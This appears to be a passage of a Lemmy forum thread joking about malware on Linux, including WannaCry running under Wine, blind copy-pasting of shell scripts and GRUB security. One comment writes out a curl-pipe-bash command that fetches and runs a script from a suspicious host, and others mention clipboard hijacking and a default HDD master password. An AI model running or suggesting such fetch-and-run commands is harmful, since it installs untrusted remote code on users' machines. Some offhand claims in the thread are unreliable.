• RogueBanana@lemmy.zip
        link
        fedilink
        English
        arrow-up
        29
        ·
        1 month ago

        WannaCry is believed to use the EternalBlue exploit, which was developed by the U.S. National Security Agency (NSA)to attack computers running Microsoft Windows operating systems.

        Hehe

      • umbrella@lemmy.ml
        link
        fedilink
        arrow-up
        18
        ·
        edit-2
        1 month ago

        now im really tempted to try it, we have a decryptor now dont we?

        inb4 decryptor: borked

        • Kusimulkku@lemm.ee
          link
          fedilink
          arrow-up
          36
          ·
          edit-2
          1 month ago

          What works

          Encryption - Yes

          GUI - Yes

          What does not

          SMB & Network replication does not always work, may require SMB network patch.

          See: Misc Things to configure (Samba Shares)

          Some Font rendering issues.

          What was not tested

          Decryption

          Ransom Payment

          Uh oh. And giving it “platinum” even though some stuff doesn’t work and basic features weren’t tested is bullshit. I demand a retraction!

        • macniel@feddit.org
          link
          fedilink
          arrow-up
          28
          ·
          1 month ago

          Why? You don’t wanna know how well WannaCry runs via Wine? The site is perfectly harmless.

        • Anafabula@discuss.tchncs.de
          link
          fedilink
          English
          arrow-up
          12
          ·
          edit-2
          1 month ago

          It’s just an entry in Wine’s AppDB, where they keep track of how well apps run on wine. Like ProtonDB, but for general applications.

          • DragonTypeWyvern@midwest.social
            link
            fedilink
            arrow-up
            9
            arrow-down
            16
            ·
            1 month ago

            Whole bunch of people trying to get me to click this sus link…

            You’re never gonna do it.

            I cast Millennial Paranoia, BOOMERS.

            GO BACK TO YOUR CHAIN EMAILS

            • Blemgo@lemmy.world
              link
              fedilink
              arrow-up
              2
              ·
              1 month ago

              I do get that one wants to be careful when it comes to viruses, but just outright not believing others without doing your own research is just as harmful as blindly believing in something. If you don’t have precautions against websites running malicious code (e.g. ublock origin), you’re already treading on dangerous ground regardless. Doubly so if you don’t make snapshots.

              If you really want to be paranoid you can also click the link inside a USB image, or a sandbox. I would however advise doing research on winehq.org if you are running Linux, since it’s generally a good resource for running Windows apps.

            • NotSteve_@lemmy.ca
              link
              fedilink
              arrow-up
              1
              ·
              1 month ago

              Wine is a tool that lets you run Windows programs on Linux or MacOS and WineHQ is a database of how well certain programs or games work with it

        • Kusimulkku@lemm.ee
          link
          fedilink
          arrow-up
          8
          ·
          edit-2
          1 month ago

          It’s just to WineHQ’s AppDb, it just describes how well stuff works with Wine. It’s similar to the newer ProtonDB. Someone tested the WannaCry/WannaCrypt malware with Wine for the hell of it.

  • kamen@lemmy.world
    link
    fedilink
    English
    arrow-up
    121
    arrow-down
    3
    ·
    edit-2
    1 month ago

    … and yet some of the same people will readily copy-paste random shell scripts into their terminal without fully understanding them.

      • Mutelogic@sh.itjust.works
        link
        fedilink
        arrow-up
        35
        ·
        1 month ago

        I feel like there’s some truth to this!

        If the posted answer was in a moderately active thread, you can generally assume it’s correct if there are no contradictory replies.

        • lemming741@lemmy.world
          link
          fedilink
          English
          arrow-up
          28
          ·
          1 month ago

          If the thread has been dead a few weeks, they could edit their post. Or if it pulls a objects, those objects could change.

    • Possibly linux@lemmy.zip
      link
      fedilink
      English
      arrow-up
      30
      ·
      edit-2
      1 month ago
      curl gu5usgugiv.lol | bash || curl get.k3s.io | bash
      

      Someone did something similar to this with a fake brew package manager page. They paid Google to put it on the front page.

      • PieMePlenty@lemmy.world
        link
        fedilink
        arrow-up
        5
        ·
        1 month ago

        In fact, you should delete the terminal altogether. On a related note, powershell access is considered taboo in corporate environments by IT departments. When security audits are done, you lose a point if powershell can be used. It is in fact considered a hacking tool.

    • f4f4f4f4f4f4f4f4@sopuli.xyz
      link
      fedilink
      English
      arrow-up
      1
      ·
      edit-2
      1 month ago

      Even if you understand the commands, you need to trust the website because a malicious site can use JavaScript to copy something completely different into your clipboard, with a newline character at the end to automatically execute when pasted. (Is the newline exploit fixed in all shells? It used to fail in zsh but work in many others…)

      One can also paste into a text editor to verify before pasting into terminal, but what noob is going to know or bother to?

  • apex32@lemmy.world
    link
    fedilink
    arrow-up
    53
    arrow-down
    1
    ·
    1 month ago

    A friend of mine once downloaded something malicious to his Linux machine and wasn’t worried about it. Then some time later, while browsing his files from a Windows machine, saw it and was like, “hey, what’s this?” Oops.

    He’s a tech savvy guy, so I’m guessing the fact he had downloaded it himself really let his guard down.

  • lath@lemmy.world
    link
    fedilink
    arrow-up
    49
    arrow-down
    3
    ·
    1 month ago

    Modern viruses check the os before deciding which type of file to send your way.

    • LordKitsuna@lemmy.world
      link
      fedilink
      arrow-up
      53
      arrow-down
      1
      ·
      1 month ago

      This is why you use a user agent switcher to lie about being windows. It’s a form of anti malware!

    • dev_null@lemmy.ml
      link
      fedilink
      arrow-up
      11
      arrow-down
      3
      ·
      edit-2
      1 month ago

      Do you have any data to back up that claim? I don’t think that’s true at all, it would be very rare.

      • lath@lemmy.world
        link
        fedilink
        arrow-up
        7
        arrow-down
        1
        ·
        edit-2
        1 month ago

        Do you have any data to back up that claim?

        None whatsoever.

        I don’t think that’s true at all, it would be very rare.

        Suspicious words. You have one, don’t you? Don’t worry, I won’t tell.

        • dev_null@lemmy.ml
          link
          fedilink
          arrow-up
          4
          ·
          1 month ago

          Why suspicious? I have genuinely never read a news story about a virus sending different versions of itself to different OSs. I’m sure it happens, but it doesn’t seem common at all, and you are claiming it very matter-of-factly so I am interested to know more.

          • lath@lemmy.world
            link
            fedilink
            arrow-up
            1
            arrow-down
            2
            ·
            1 month ago

            If you haven’t come across them yet, then i might be a pioneer! Dibs on the patent!

            But your words confuse me. Either it’s not true at all or it happens. You’re sure they exist, though rare. As i said before, suspicious. You might just be one of those rare occurrences after all…

            You wish to be the first acknowledged one, no? It’s alright, you can have the honour. I’ll keep mum about it for you.

            • dev_null@lemmy.ml
              link
              fedilink
              arrow-up
              4
              ·
              1 month ago

              But your words confuse me. Either it’s not true at all or it happens.

              The idea is pretty simple, so it would be surprising if it wasn’t happening at all. But there is a huge difference between “there probably exist some examples that do that” and a sweeping statement about all of them in general.

              • lath@lemmy.world
                link
                fedilink
                arrow-up
                1
                arrow-down
                2
                ·
                1 month ago

                and a sweeping statement about all of them in general.

                Or, hear me out here, the ones that don’t aren’t modern… Get it? Wink, wink. Nudge, nudge.

                • dev_null@lemmy.ml
                  link
                  fedilink
                  arrow-up
                  3
                  ·
                  1 month ago

                  One could think so, but no cybersecurity experts share such opinion to my knowledge.

        • kusivittula@sopuli.xyz
          link
          fedilink
          arrow-up
          2
          ·
          1 month ago

          my problem was i couldn’t find where it is and search engines couldn’t provide an answer, but just now i learned you can find out where something is installed with

          whereis appname
          
  • mvirts@lemmy.world
    link
    fedilink
    arrow-up
    22
    ·
    1 month ago

    And then it starts running because you set up wine with binfmt_misc, only to crash a few seconds later

    • kattfisk@lemmy.dbzer0.com
      link
      fedilink
      arrow-up
      9
      arrow-down
      1
      ·
      1 month ago

      That’s hyperbole. Such a system can be “hacked” by simply plugging in a usb-stick and booting from that instead, or dozens of other ways.

      The only reason to use GRUB authentication I can think of would be in something like a kiosk.

    • Varcour@lemm.ee
      link
      fedilink
      English
      arrow-up
      5
      ·
      1 month ago

      Does anyone here use GRUB authentication? If so why? What’s your threat model?

    • Phoenixz@lemmy.ca
      link
      fedilink
      arrow-up
      7
      arrow-down
      2
      ·
      1 month ago

      Yeah that is not really an “OMG” vulnerability as I can also get into that machine by booting it with a USB drive, or plugging it’s drove into my own machine.

      • f4f4f4f4f4f4f4f4@sopuli.xyz
        link
        fedilink
        English
        arrow-up
        1
        ·
        edit-2
        1 month ago

        Better replace your keyboard everytime you leave it unattended, someone could put a keylogger in it. Don’t forget to check for hidden pinhole cameras around that capture you inputting your passwords. Etc, etc. Those even work against an encrypted drive…

          • f4f4f4f4f4f4f4f4@sopuli.xyz
            link
            fedilink
            English
            arrow-up
            2
            ·
            edit-2
            1 month ago

            grub’s always been a hack. The first stage in 512 byte boot sector chainloads the second stage in the space between boot sector and the first sectors of first partition. Second stage chainloads the kernel. (This is my primitive gist.)

            grub was never made for security, it just exists in a place where one would think security would be priority… but again, physical access = pwned, etc.

            Not quite the same, but funny: I recently unlocked an HDD from a car head unit to prove to a friend that it was only storing music ripped from its CD drive (and the associated minimal CD title database)… Toshiba master HDD password is 32 spaces. 😅

            • SynopsisTantilize@lemm.ee
              link
              fedilink
              arrow-up
              1
              ·
              30 days ago

              Oh shit hahaha that’s straight up disrespectful. Well yea I guess that makes sense but I just never thought to deep about it.

  • arc@lemm.ee
    link
    fedilink
    arrow-up
    3
    ·
    1 month ago

    Sometimes when I’ve torrenting from a public wifi I’ll get a malicious .scr file - but since I torrent from an Android phone it can’t do anything to me.